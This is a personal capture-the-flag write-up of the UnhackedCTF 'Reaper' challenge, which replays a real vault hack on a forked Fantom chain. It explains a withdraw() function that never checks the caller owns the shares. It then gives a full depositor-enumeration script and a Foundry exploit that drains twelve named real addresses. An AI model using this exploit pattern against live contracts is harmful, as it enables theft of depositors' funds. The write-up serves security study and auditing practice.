UnhackedCTF - Reaper (Walkthrough + explanation)
How I (would've) made $400k (and landed in jail)!
Introduction
Hey everyone! :)
After trying a few basic Smart contract based CTFs, I wanted to try my hands at something more complex, more real-life oriented. But, I'm not smart (yet) to take on some Bug Bounties on ImmuneFi. :(
So, I kept searching for mid-level CTFs, and that brought me to the Unhacked CTF! This is special, because the challenges here are, well, real, in the sense that these hacks actually happened, and now you need to replicate them (BUT ON A FORK)!
So, I jumped aboard, to my first challenge - Reaper:
Disclaimer
I just finished the challenge, and I have neither looked the solution nor the write-ups, so I don't know if the way I solved it is the intended way. I'll do so after publishing this.
Auditing
Knowing more about Reaper farm
I went to the challenge repo: https://github.com/unhackedctf/reaper, and read the description.
So, some vault contracts were hacked, and I need to find the vulnerability in the same, and then exploit them to replicate the results.
So, Reaper farm. Here's what their UI looks like:
I'll be honest, I never looked at any actual Vault contract before (I'm a DeFi noob. Go ahead, roast me), so, I didn't know what a "farm" was!
So, I took a detour, and quickly read up on some terms and docs.
And I learned that farms (or yield aggregrator protocols) like these take users' funds, and invest them on other protocols on their behalf, to optimise their returns. So, like a stock broker! Nice!
Then, I decided to look through their docs, just so I know exactly what I can expect from their smart contract: Reaper farm docs.
So, the deal is simple - you go on other protocols, stake your tokens in their pools and farms, then come back to Reaper, stake your LP-tokens, and watch Reaper invest on your behalf! And you get rfTokens
as Reaper farm shares, which you'd later give back to get back your original stake plus rewards (additional LP-tokens)!
On the Reaper farm, there's multiple token pairs you can select to stake in, each called a "crypt" (they're really hard on their theme!), which runs on Vault contracts. Vault contracts are your interface to that token pair pool, while the actual investing was done by another linked contract called "Strategy", all run by people and multi-sigs with role-based access.
Something that kinda stuck me, however, was how their docs repeatedly kept saying everywhere:
DO NOT SEND YOUR rfTokens TO ANY OTHER ADDRESSES. YOU WILL BE UNABLE TO WITHDRAW YOUR LPs. (for example)
"Why though?", I wondered. Anyone who holds the "rfTokens" is entitled to the benefits, right? Kinda how if you have 1 WETH, you also have 1 ETH. So, why can I not trade it? It must have value too!
In hindsight though, I should've paid more attention to this. Turns out, this line hints at the obvious vulnerability (as you'd find soon)
Auditing the Reaper contracts
Then, I went back to the challenge repo, cloned it, and started looking through the smart contract.
I'll admit, it was very, very overwhelming. I needed a day to understand it all, and map relevant parts to each other in my mind, to understand all the flows and how it was intended to be used.
The maths was particularly interesting (and painful).
I spent a day going over the code over and over, till I could take it apart and put it back together.
Having done that, I asked myself - "But where's the vulnerability?". Was it in the calculations? Was it a vulnerability in the roles? Can I have more rfTokens minted than intended? Can I have more assets when withdrawing with my rfTokens?
The answer to all this, was "NO!".
I kept going over and over each line, and couldn't find any vulnerability.
Till, I looked at the function signature for withdraw()
:
And my brain yelled: "WAIT A MINUTE! DOES THAT EXTERNAL FUNCTION ASSUME THE OWNER AND RECEIVER TO BE ALWAYS THE SAME?"
It burns the owner's shares, gives them to receiver, with the assumption that it's always the owner who'd be withdrawing their share. BUT WHAT'S TO STOP SOMEONE ELSE FROM WITHDRAWING ON OWNER'S BEHALF? WTH!
Can this really be it? How did it never occur to anyone?
POC
There's only one way to know for sure - a POC.
I need to fork the Fantom net at block 44000000, and try withdrawing on behalf of all depositors.
But wait, how do I know the depositors? Sure, I could go to FTM Scan and manually go through all Deposit
events, and have my brain commit seppuku.
OR, I can put my script-noobie skills to use, write up a quick script to query for all Deposit
events.
But wait! Not all depositors would have withdrawable assets! What about those who have already withdrawn their shares?
Maybe I can just query for depositors, then filter for those with non-zero withdrawable assets!
So, I did exactly that. I wrote the below script, and ran it on a local fork.
anvil --fork-url "https://rpc.ankr.com/fantom/" --fork-block-number 44000000
This forks the Fantom net at block 44000000, and runs a local RPC node
// enumerate.ts
import { BigNumber, ethers } from "ethers";
import reaperArtifact from "../abi/ReaperVaultV2.json";
async function enumerate() {
// Set account and connnection
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545");
// Get contract
const reaper = new ethers.Contract("0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A", reaperArtifact.abi, provider);
// Get events
const depositEvents = await getDepositEvents(reaper, 42161064, 44000000, 2000); // Block 42161064 is when the Vault was deployed
// Get depositors
const depositors = getDepositors(depositEvents);
// Get depositors' balances
const depositorsAndBalanceMap = await getOwnerBalances(reaper, depositors);
// Get interesting depositors
const interestingDepositors = getInterestingDepositors(depositorsAndBalanceMap);
console.log(`[+] Depositors found: ${depositors.length}`);
console.log("(Increasing order of balance)", interestingDepositors);
}
enumerate()
.then(() => { })
.catch((e) => { console.error(e); })
// HELPERS
async function getDepositEvents(reaper: ethers.Contract, startBlock: number, endBlock: number, blockSize: number) {
const depositEventFilter = reaper.filters["Deposit(address,address,uint256,uint256)"]();
// Get promises to resolve
const depositEventsPromises: Array<Promise<ReturnType<reaper.queryFilter>>> = [];
for (let block = startBlock; block <= endBlock; block += blockSize) {
depositEventsPromises.push(
reaper.queryFilter(
depositEventFilter,
block,
Math.min(block + blockSize - 1, endBlock)
)
);
}
console.log(`Total promises to resolve: ${depositEventsPromises.length}`);
// Resolve promises in blocks
const promisesToResolveAtATime = 10;
const depositEvents: Array<any> = [];
for (let promiseNum = 0; promiseNum < depositEventsPromises.length; promiseNum += promisesToResolveAtATime) {
const promiseNumLast = Math.min(promiseNum + promisesToResolveAtATime, depositEventsPromises.length);
const depositEventsPartialPromise = depositEventsPromises.slice(
promiseNum,
promiseNumLast
);
const depositEventsPartial: Array<any> = await Promise.all(depositEventsPartialPromise);
depositEventsPartial.forEach((eventsArr: Array<any>) => {
const eventsToPush = eventsArr.filter((event) => event);
depositEvents.push(...eventsToPush);
});
// Report progress
const progressPerc = (promiseNumLast * 100) / depositEventsPromises.length;
console.log(`Progress: ${progressPerc.toFixed(2)} %`)
}
return depositEvents;
}
function getDepositors(depositEvents: Array<any>) {
const ownersSet = new Set<string>();
for (let eventNum = 0; eventNum < depositEvents.length; eventNum++) {
const owner = depositEvents[eventNum]?.args?.owner;
if (!ownersSet.has(owner)) {
ownersSet.add(owner);
}
}
return [...ownersSet.values()];
}
async function getOwnerBalances(reaper: any, owners: Array<string>) {
const ownerBalances: { [ownerAddr: string]: BigNumber } = {};
const balanceFetchPromises: Array<Promise<any>> = [];
const balanceFetchPromiseFactory = async (owner: string) => {
ownerBalances[owner] = await reaper.maxWithdraw(owner);
};
for (let ownerNum = 0; ownerNum < owners.length; ownerNum++) {
balanceFetchPromises.push(balanceFetchPromiseFactory(owners[ownerNum]));
}
await Promise.all(balanceFetchPromises);
return ownerBalances;
}
function getInterestingDepositors(ownerBalancesMap: { [ownerAddr: string]: BigNumber }) {
const owners = Object.entries(ownerBalancesMap);
const ownersWithBalance = owners.filter(([_, balance]) => !balance.eq(BigNumber.from(0)));
const ownersWithBalanceSorted = ownersWithBalance.sort(([_, balanceA], [__, balanceB]) => (
balanceA.gt(balanceB) ? -1 : 1
));
const totalBalance = ownersWithBalanceSorted.map(([_, balance]) => balance).reduce((total, balance) => total.add(balance));
console.log(`[>] Total balance to steal: ${ethers.utils.formatEther(totalBalance)}`)
return ownersWithBalanceSorted.map(([owner, _]) => owner);
}
This lists all depositors with non-zero withdrawable assets, sorted in descending order of assets.
And then I ran the script, and got this:
Wait...That's a lotta assets! And it matches with the challenge description that says $400k (DAI is pegged to USD in 1:1 ratio).
And the next thing I did, was use these in the challenge test ReaperHack.t.sol
, and tried withdrawing all assets:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/ReaperVaultV2.sol";
interface IERC20Like {
function balanceOf(address _addr) external view returns (uint256);
}
contract ReaperHack is Test {
ReaperVaultV2 reaper =
ReaperVaultV2(0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A);
IERC20Like fantomDai =
IERC20Like(0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E);
function testReaperHack() public {
vm.createSelectFork(vm.envString("FANTOM_RPC"), 44000000);
console.log(
"Your Starting Balance:",
fantomDai.balanceOf(address(this))
);
// INSERT EXPLOIT HERE
_stealFromVault();
console.log("Your Final Balance:", fantomDai.balanceOf(address(this)));
assert(fantomDai.balanceOf(address(this)) > 400_000 ether);
}
///////////
// HELPERS
///////////
function _stealFromOwner(address owner) internal {
uint256 amtToSteal = reaper.maxWithdraw(owner);
reaper.withdraw(amtToSteal, address(this), owner);
}
function _stealFromVault() internal {
_stealFromOwner(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b);
_stealFromOwner(0xfc83DA727034a487f031dA33D55b4664ba312f1D);
_stealFromOwner(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9);
_stealFromOwner(0xAF1bff74708098dB603e48aaEbEC1BBAe03Dcf11);
_stealFromOwner(0x6C6418d85470512D0B79Ad5b7Fdcc6ddEFFE1835);
_stealFromOwner(0x65fA24f7b2f1F37d2C0Ce58B2501082220207a75);
_stealFromOwner(0x0Cd44AfD4174154393E9B617dAff1eE706D88653);
_stealFromOwner(0x2c85610B99C549B9c877bd86EFA3898860D5d40A);
_stealFromOwner(0x056abd53a55C187d738B4A982D36b4dFa506326A);
_stealFromOwner(0xbFdd62139F97163D83Cf5CB7F940564b56c6fA5D);
_stealFromOwner(0x0a518E4490f2E89a705E0866A07A204119EA432f);
_stealFromOwner(0x83942d73D3D0A6fC2F4030806356dFbD225D7743);
}
}
Lo and behold ๐:
More than happy, I was actually surprised! How did they even overlook such a vulnerability! Was there no audit at all!?
Takeaways
I guess the takeaway for me as a wannabe-auditor is simple - do not assume things always work the way they're supposed to; it's very easy to overlook assumptions and their avalanche into further logic.
This was a fantastic start to the series, and I wanna continue.
I have a long way to go.